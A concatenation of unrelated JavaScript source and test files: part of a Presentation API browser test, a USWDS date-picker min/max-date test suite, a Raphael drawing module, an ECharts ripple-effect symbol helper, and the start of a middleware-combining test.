startedConnection.onclose = function(event) {
var reason = event.reason;
if (reason != 'error') {
sendResult(false, 'Unexpected close reason: ' + reason);
return;
}
sendResult(true, '');
};
startedConnection.send('foo');
}
/**
* Sends the given message, and expects response from the receiver.
* @param {!string} message
*/
function sendMessageAndExpectResponse(message) {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
startedConnection.onmessage = function(receivedMessage) {
var expectedResponse = 'Pong: ' + message;
var actualResponse = receivedMessage.data;
if (actualResponse != expectedResponse) {
sendResult(false, 'Expected message: ' + expectedResponse +
', but got: ' + actualResponse);
return;
}
sendResult(true, '');
};
startedConnection.send(message);
}
/**
* Sends 'close' to receiver page, and expects receiver page closing
* the connection.
*/
function initiateCloseFromReceiverPage() {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
startedConnection.onclose = (event) => {
const reason = event.reason;
if (reason != 'closed') {
sendResult(false, 'Unexpected close reason: ' + reason);
return;
}
sendResult(true, '');
};
startedConnection.send('close');
}
/**
* Reconnects to |sessionId| and verifies that it succeeds.
* @param {!string} sessionId ID of session to reconnect.
*/
function reconnectSession(sessionId) {
var reconnectSessionRequest = new PresentationRequest(presentationUrl);
reconnectSessionRequest.reconnect(sessionId).then(function(session) {
if (!session) {
sendResult(false, 'reconnectSession returned null session');
} else {
reconnectedSession = session;
waitForConnectedStateAndSendResult(reconnectedSession);
}
}).catch(function(error) {
sendResult(false, 'reconnectSession failed: ' + error.message);
});
}
/**
* Calls reconnect(sessionId) and verifies that it fails.
* @param {!string} sessionId ID of session to reconnect.
* @param {!string} expectedErrorMessage
*/
function reconnectSessionAndExpectFailure(sessionId, expectedErrorMessage) {
var reconnectSessionRequest = new PresentationRequest(presentationUrl);
reconnectSessionRequest.reconnect(sessionId).then(function(session) {
sendResult(false, 'reconnect() unexpectedly succeeded.');
}).catch(function(error) {
if (error.message.indexOf(expectedErrorMessage) > -1) {
sendResult(true, '');
} else {
sendResult(false,
'Error message mismatch. Expected: ' + expectedErrorMessage +
', actual: ' + error.message);
}
});
}
/**
* Sends the test result back to browser test.
* @param passed true if test passes, otherwise false.
* @param errorMessage empty string if test passes, error message if test
* fails.
*/
function sendResult(passed, errorMessage) {
if (useDomAutomationController) {
window.domAutomationController.send(JSON.stringify({
passed: passed,
errorMessage: errorMessage
}));
} else {
lastExecutionResult = JSON.stringify({
passed: passed,
errorMessage: errorMessage
});
}
}
|
const fs = require("fs");
const path = require("path");
const assert = require("assert");
const EVENTS = require("./events");
const DatePicker = require("../../../src/js/components/date-picker");
const TEMPLATE = fs.readFileSync(
path.join(__dirname, "/date-picker-min-date-max-date.template.html")
);
const VALIDATION_MESSAGE = "Please enter a valid date";
describe("date picker component with min date and max date", () => {
const { body } = document;
let root;
let input;
let button;
let error;
let expectedError;
const getCalendarEl = query =>
root.querySelector(
".usa-date-picker__calendar" + (query ? ` ${query}` : "")
);
beforeEach(() => {
body.innerHTML = TEMPLATE;
DatePicker.on();
root = body.querySelector(".usa-date-picker");
input = root.querySelector(".usa-date-picker__external-input");
button = root.querySelector(".usa-date-picker__button");
expectedError = "";
window.onerror = message => {
error = message;
return error === expectedError;
};
});
afterEach(() => {
window.onerror = null;
body.textContent = "";
DatePicker.off(body);
});
it("should allow navigation back a year to a month that is partially disabled due to a minimum date being set", () => {
input.value = "05/15/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__previous-year"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should disable back buttons when displaying the minimum month", () => {
input.value = "05/30/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
assert.equal(
getCalendarEl(".usa-date-picker__calendar__previous-month").disabled,
true,
"the previous month button is disabled"
);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__previous-year").disabled,
true,
"the previous year button is disabled"
);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__previous-month"));
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__previous-year"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-30",
"focuses correct date"
);
});
it("should disable forward buttons when displaying the maximum month", () => {
input.value = "06/01/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
assert.equal(
getCalendarEl(".usa-date-picker__calendar__next-month").disabled,
true,
"the next month button is disabled"
);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__next-year").disabled,
true,
"the next year button is disabled"
);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__next-month"));
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__next-year"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-01",
"focuses correct date"
);
});
it("should allow navigation back a year to a month that is less than a year from the minimum date being set and cap at that minimum date", () => {
input.value = "04/15/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__previous-year"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow navigation back a month to a month that is partially disabled due to a minimum date being set", () => {
input.value = "06/15/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__previous-month"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should not allow navigation back a month to a month that is fully disabled due to a minimum date being set", () => {
input.value = "05/30/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
assert.equal(
getCalendarEl(".usa-date-picker__calendar__previous-year").disabled,
true,
"the button is disabled"
);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__previous-month"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-30",
"focuses correct date"
);
});
it("should allow navigation forward a year to a month that is partially disabled due to a maximum date being set", () => {
input.value = "06/25/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__next-year"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow navigation forward a year to a month that is less than a year from the maximum date and cap at that maximum date", () => {
input.value = "07/25/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__next-year"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow navigation forward a month to a month that is partially disabled due to a maximum date being set", () => {
input.value = "05/25/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__next-month"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should not allow navigation forward a month to a month that is fully disabled due to a maximum date being set", () => {
input.value = "06/17/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__next-month"));
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-17",
"focuses correct date"
);
});
it("should allow selection of a month in the month selection screen that is partially disabled due to a minimum date being set", () => {
input.value = "12/01/2020";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__month-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__month-picker"),
"the month picker is shown"
);
EVENTS.click(
getCalendarEl().querySelector(
'.usa-date-picker__calendar__month[data-label="May"]'
)
);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__date-picker"),
"the date picker is shown"
);
});
it("should not allow selection of a month in the month selection screen that is fully disabled due to a minimum date being set", () => {
input.value = "10/31/2020";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__month-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__month-picker"),
"the month picker is shown"
);
EVENTS.click(
getCalendarEl('.usa-date-picker__calendar__month[data-label="January"]')
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__month-picker"),
"the month picker is shown"
);
});
it("should allow selection of a month in the month selection screen that is partially disabled due to a maximum date being set", () => {
input.value = "01/30/2021";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__month-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__month-picker"),
"the month picker is shown"
);
EVENTS.click(
getCalendarEl().querySelector(
'.usa-date-picker__calendar__month[data-label="June"]'
)
);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__date-picker"),
"the date picker is shown"
);
});
it("should not allow selection of a month in the month selection screen that is fully disabled due to a maximum date being set", () => {
input.value = "02/29/2021";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__month-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__month-picker"),
"the month picker is shown"
);
EVENTS.click(
getCalendarEl('.usa-date-picker__calendar__month[data-label="December"]')
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__month-picker"),
"the month picker is shown"
);
});
it("should allow selection of a year in the year selection screen that is partially disabled due to a minimum date being set", () => {
input.value = "04/01/2021";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__year-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__year-picker"),
"the year picker is shown"
);
EVENTS.click(
getCalendarEl('.usa-date-picker__calendar__year[data-value="2020"]')
);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__date-picker"),
"the date picker is shown"
);
});
it("should allow selection of a year in the year selection screen that is partially disabled due to a maximum date being set", () => {
input.value = "12/01/2020";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__year-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__year-picker"),
"the year picker is shown"
);
EVENTS.click(
getCalendarEl('.usa-date-picker__calendar__year[data-value="2021"]')
);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__date-picker"),
"the date picker is shown"
);
});
it("should not allow selection of a year in the year selection screen that is fully disabled due to a minimum date being set", () => {
input.value = "07/04/2020";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__year-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__year-picker"),
"the year picker is shown"
);
EVENTS.click(
getCalendarEl('.usa-date-picker__calendar__year[data-value="2018"]')
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__year-picker"),
"the year picker is shown"
);
});
it("should not allow selection of a year in the year selection screen that is fully disabled due to a maximum date being set", () => {
input.value = "12/01/2020";
EVENTS.click(button);
EVENTS.click(getCalendarEl(".usa-date-picker__calendar__year-selection"));
assert.ok(
getCalendarEl(".usa-date-picker__calendar__year-picker"),
"the year picker is shown"
);
EVENTS.click(
getCalendarEl('.usa-date-picker__calendar__year[data-value="2023"]')
);
assert.ok(
getCalendarEl(".usa-date-picker__calendar__year-picker"),
"the year picker is shown"
);
});
it("should allow selection of a date that is the minimum date", () => {
input.value = "05/25/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(
getCalendarEl().querySelector(
'.usa-date-picker__calendar__date[data-day="22"]'
)
);
assert.equal(input.value, "05/22/2020", "The value has been filled in");
});
it("should allow selection of a date that is the maximum date", () => {
input.value = "06/15/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(
getCalendarEl().querySelector(
'.usa-date-picker__calendar__date[data-day="20"]'
)
);
assert.equal(input.value, "06/20/2020", "The value has been filled in");
});
it("should not allow selection of a date that is before the minimum date", () => {
input.value = "05/25/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(
getCalendarEl().querySelector(
'.usa-date-picker__calendar__date[data-day="15"]'
)
);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
});
it("should not allow selection of a date that is after the maximum date", () => {
input.value = "06/15/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.click(
getCalendarEl().querySelector(
'.usa-date-picker__calendar__date[data-day="25"]'
)
);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
});
it("should allow keyboard navigation to move back one day to a date that is the minimum date", () => {
input.value = "05/23/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowLeft();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move back one week to a date that is the minimum date", () => {
input.value = "05/29/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowUp();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move back one month to a date that is the minimum date", () => {
input.value = "06/22/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownPageUp();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move back one year to a date that is the minimum date", () => {
input.value = "05/22/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownShiftPageUp();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should not allow keyboard navigation to move back one day to a date that is before the minimum date", () => {
input.value = "05/22/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowLeft();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move to the start of the week to a date that is before the minimum date but cap at minimum date", () => {
input.value = "05/23/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownHome();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move back one week to a date that is before the minimum date but cap at minimum date", () => {
input.value = "05/28/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowUp();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move back one month to a date that is before the minimum date but cap at minimum date", () => {
input.value = "06/21/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownPageUp();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move back one year to a date that is before the minimum date but cap at minimum date", () => {
input.value = "05/21/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownShiftPageUp();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one day to a date that is the maximum date", () => {
input.value = "06/19/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowRight();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one week to a date that is the maximum date", () => {
input.value = "06/13/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowDown();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one month to a date that is the maximum date", () => {
input.value = "05/20/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownPageDown();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one year to a date that is the maximum date", () => {
input.value = "06/20/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownShiftPageDown();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should not allow keyboard navigation to move forward one day to a date that is after the maximum date", () => {
input.value = "06/20/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowRight();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow keyboard navigation to move to the end of the week to a date that is after the maximum date but cap at maximum date", () => {
root.dataset.maxDate = "2021-06-21";
input.value = "06/20/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownEnd();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-21",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one week to a date that is after the maximum date but cap at maximum date", () => {
input.value = "06/14/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownArrowDown();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one month to a date that is after the maximum date but cap at maximum date", () => {
input.value = "05/21/2021";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownPageDown();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should allow keyboard navigation to move forward one year to a date that is after the maximum date but cap at maximum date", () => {
input.value = "06/21/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
EVENTS.keydownShiftPageDown();
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should show a date that is after the maximum date as invalid", () => {
input.value = "06/30/2021";
EVENTS.keydownEnter(input);
assert.equal(input.validationMessage, VALIDATION_MESSAGE);
});
it("should show a date that is the maximum date as valid", () => {
input.value = "06/20/2021";
EVENTS.keydownEnter(input);
assert.equal(input.validationMessage, "");
});
it("should show a date that is before the minimum date as invalid", () => {
input.value = "05/01/2020";
EVENTS.keydownEnter(input);
assert.equal(input.validationMessage, VALIDATION_MESSAGE);
});
it("should show a date that is the minimum date as valid", () => {
input.value = "05/22/2020";
EVENTS.keydownEnter(input);
assert.equal(input.validationMessage, "");
});
it("should throw when minDate is larger than maxDate", () => {
root.dataset.minDate = "2020-07-04";
root.dataset.maxDate = "2020-06-20";
expectedError = "Minimum date cannot be after maximum date";
EVENTS.click(button);
assert.equal(error, expectedError, "caught the error");
});
it("should open the calendar on the min date when the input date is before the min date", () => {
input.value = "04/15/2020";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-05-22",
"focuses correct date"
);
});
it("should open the calendar on the max date when the input date is after the max date", () => {
input.value = "04/15/2023";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2021-06-20",
"focuses correct date"
);
});
it("should open the calendar on the max date when the input is empty and the current date is after the max date", () => {
root.dataset.minDate = "2020-01-01";
root.dataset.maxDate = "2020-02-14";
EVENTS.click(button);
assert.equal(getCalendarEl().hidden, false, "The calendar is shown");
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-02-14",
"focuses correct date"
);
});
it("should update the calendar to the max date when the input is changed and the input date is after the max date", () => {
root.dataset.minDate = "2020-01-01";
root.dataset.maxDate = "2020-02-14";
input.value = "01/20/2020";
EVENTS.click(button);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-01-20",
"focuses correct date"
);
input.value = "6/20/2020";
EVENTS.input(input);
assert.equal(
getCalendarEl(".usa-date-picker__calendar__date--focused").dataset.value,
"2020-02-14",
"focuses correct date"
);
});
});
|
// Copyright (c) 2012 Titanium I.T. LLC. All rights reserved. See LICENSE.txt for details.
/*globals wwp:true, Raphael, $ */
wwp = window.wwp || {};
(function() {
"use strict";
var paper;
wwp.initializeDrawingArea = function(drawingAreaDiv) {
paper = new Raphael(drawingAreaDiv);
handleDragEvents(drawingAreaDiv);
return paper;
};
function handleDragEvents(drawingAreaDiv) {
var $drawingArea = $(drawingAreaDiv);
var start = null;
$drawingArea.mousedown(function(event) {
var offset = relativeOffset($drawingArea, event.pageX, event.pageY);
start = offset;
});
$drawingArea.mousemove(function(event) {
if (start === null) return;
var end = relativeOffset($drawingArea, event.pageX, event.pageY);
drawLine(start.x, start.y, end.x, end.y);
start = end;
});
$drawingArea.mouseup(function(event) {
start = null;
});
}
var drawLine = wwp.drawLine = function(startX, startY, endX, endY) {
paper.path("M" + startX + "," + startY + "L" + endX + "," + endY);
};
function relativeOffset(element, pageX, pageY) {
var pageOffset = element.offset();
return {
x: pageX - pageOffset.left,
y: pageY - pageOffset.top
};
}
}());
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
var zrUtil = require("zrender/lib/core/util");
var _symbol = require("../../util/symbol");
var createSymbol = _symbol.createSymbol;
var _graphic = require("../../util/graphic");
var Group = _graphic.Group;
var _number = require("../../util/number");
var parsePercent = _number.parsePercent;
var SymbolClz = require("./Symbol");
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/**
* Symbol with ripple effect
* @module echarts/chart/helper/EffectSymbol
*/
var EFFECT_RIPPLE_NUMBER = 3;
function normalizeSymbolSize(symbolSize) {
if (!zrUtil.isArray(symbolSize)) {
symbolSize = [+symbolSize, +symbolSize];
}
return symbolSize;
}
function updateRipplePath(rippleGroup, effectCfg) {
rippleGroup.eachChild(function (ripplePath) {
ripplePath.attr({
z: effectCfg.z,
zlevel: effectCfg.zlevel,
style: {
stroke: effectCfg.brushType === 'stroke' ? effectCfg.color : null,
fill: effectCfg.brushType === 'fill' ? effectCfg.color : null
}
});
});
}
/**
* @constructor
* @param {module:echarts/data/List} data
* @param {number} idx
* @extends {module:zrender/graphic/Group}
*/
function EffectSymbol(data, idx) {
Group.call(this);
var symbol = new SymbolClz(data, idx);
var rippleGroup = new Group();
this.add(symbol);
this.add(rippleGroup);
rippleGroup.beforeUpdate = function () {
this.attr(symbol.getScale());
};
this.updateData(data, idx);
}
var effectSymbolProto = EffectSymbol.prototype;
effectSymbolProto.stopEffectAnimation = function () {
this.childAt(1).removeAll();
};
effectSymbolProto.startEffectAnimation = function (effectCfg) {
var symbolType = effectCfg.symbolType;
var color = effectCfg.color;
var rippleGroup = this.childAt(1);
for (var i = 0; i < EFFECT_RIPPLE_NUMBER; i++) {
// var ripplePath = createSymbol(
// symbolType, -0.5, -0.5, 1, 1, color
// );
// If width/height are set too small (e.g., set to 1) on ios10
// and macOS Sierra, a circle stroke become a rect, no matter what
// the scale is set. So we set width/height as 2. See #4136.
var ripplePath = createSymbol(symbolType, -1, -1, 2, 2, color);
ripplePath.attr({
style: {
strokeNoScale: true
},
z2: 99,
silent: true,
scale: [0.5, 0.5]
});
var delay = -i / EFFECT_RIPPLE_NUMBER * effectCfg.period + effectCfg.effectOffset; // TODO Configurable effectCfg.period
ripplePath.animate('', true).when(effectCfg.period, {
scale: [effectCfg.rippleScale / 2, effectCfg.rippleScale / 2]
}).delay(delay).start();
ripplePath.animateStyle(true).when(effectCfg.period, {
opacity: 0
}).delay(delay).start();
rippleGroup.add(ripplePath);
}
updateRipplePath(rippleGroup, effectCfg);
};
/**
* Update effect symbol
*/
effectSymbolProto.updateEffectAnimation = function (effectCfg) {
var oldEffectCfg = this._effectCfg;
var rippleGroup = this.childAt(1); // Must reinitialize effect if following configuration changed
var DIFFICULT_PROPS = ['symbolType', 'period', 'rippleScale'];
for (var i = 0; i < DIFFICULT_PROPS.length; i++) {
var propName = DIFFICULT_PROPS[i];
if (oldEffectCfg[propName] !== effectCfg[propName]) {
this.stopEffectAnimation();
this.startEffectAnimation(effectCfg);
return;
}
}
updateRipplePath(rippleGroup, effectCfg);
};
/**
* Highlight symbol
*/
effectSymbolProto.highlight = function () {
this.trigger('emphasis');
};
/**
* Downplay symbol
*/
effectSymbolProto.downplay = function () {
this.trigger('normal');
};
/**
* Update symbol properties
* @param {module:echarts/data/List} data
* @param {number} idx
*/
effectSymbolProto.updateData = function (data, idx) {
var seriesModel = data.hostModel;
this.childAt(0).updateData(data, idx);
var rippleGroup = this.childAt(1);
var itemModel = data.getItemModel(idx);
var symbolType = data.getItemVisual(idx, 'symbol');
var symbolSize = normalizeSymbolSize(data.getItemVisual(idx, 'symbolSize'));
var color = data.getItemVisual(idx, 'color');
rippleGroup.attr('scale', symbolSize);
rippleGroup.traverse(function (ripplePath) {
ripplePath.attr({
fill: color
});
});
var symbolOffset = itemModel.getShallow('symbolOffset');
if (symbolOffset) {
var pos = rippleGroup.position;
pos[0] = parsePercent(symbolOffset[0], symbolSize[0]);
pos[1] = parsePercent(symbolOffset[1], symbolSize[1]);
}
rippleGroup.rotation = (itemModel.getShallow('symbolRotate') || 0) * Math.PI / 180 || 0;
var effectCfg = {};
effectCfg.showEffectOn = seriesModel.get('showEffectOn');
effectCfg.rippleScale = itemModel.get('rippleEffect.scale');
effectCfg.brushType = itemModel.get('rippleEffect.brushType');
effectCfg.period = itemModel.get('rippleEffect.period') * 1000;
effectCfg.effectOffset = idx / data.count();
effectCfg.z = itemModel.getShallow('z') || 0;
effectCfg.zlevel = itemModel.getShallow('zlevel') || 0;
effectCfg.symbolType = symbolType;
effectCfg.color = color;
this.off('mouseover').off('mouseout').off('emphasis').off('normal');
if (effectCfg.showEffectOn === 'render') {
this._effectCfg ? this.updateEffectAnimation(effectCfg) : this.startEffectAnimation(effectCfg);
this._effectCfg = effectCfg;
} else {
// Not keep old effect config
this._effectCfg = null;
this.stopEffectAnimation();
var symbol = this.childAt(0);
var onEmphasis = function () {
symbol.highlight();
if (effectCfg.showEffectOn !== 'render') {
this.startEffectAnimation(effectCfg);
}
};
var onNormal = function () {
symbol.downplay();
if (effectCfg.showEffectOn !== 'render') {
this.stopEffectAnimation();
}
};
this.on('mouseover', onEmphasis, this).on('mouseout', onNormal, this).on('emphasis', onEmphasis, this).on('normal', onNormal, this);
}
this._effectCfg = effectCfg;
};
effectSymbolProto.fadeOut = function (cb) {
this.off('mouseover').off('mouseout').off('emphasis').off('normal');
cb && cb();
};
zrUtil.inherits(EffectSymbol, Group);
var _default = EffectSymbol;
module.exports = _default;
|
/* eslint-env jest */
import {expect} from 'chai';
import {combineMiddleware} from '../src';
describe('#combineMiddleware(...middleware)', () => {
function isPlayThroughMW(fn){
if(typeof fn !== 'function') return false;
const withStore = fn();
if(typeof withStore !== 'function') return false;
let foundAction;
const runAction = {};
const withNext = withStore((action) => {
foundAction = action;
});
if(typeof withNext !== 'function') return false;
withNext(runAction);
return foundAction === runAction;
}
it('returns a playthrough if no functions are given', () => {
expect(isPlayThroughMW(combineMiddleware())).to.be.true;
});
it('returns the same mw if it\'s the only param', () => {
const fn = () => {};
expect(combineMiddleware(fn)).to.eq(fn);
});
it('ignores non-functions', () => {
const fn = () => {};
expect(isPlayThroughMW(combineMiddleware({}))).to.be.true;
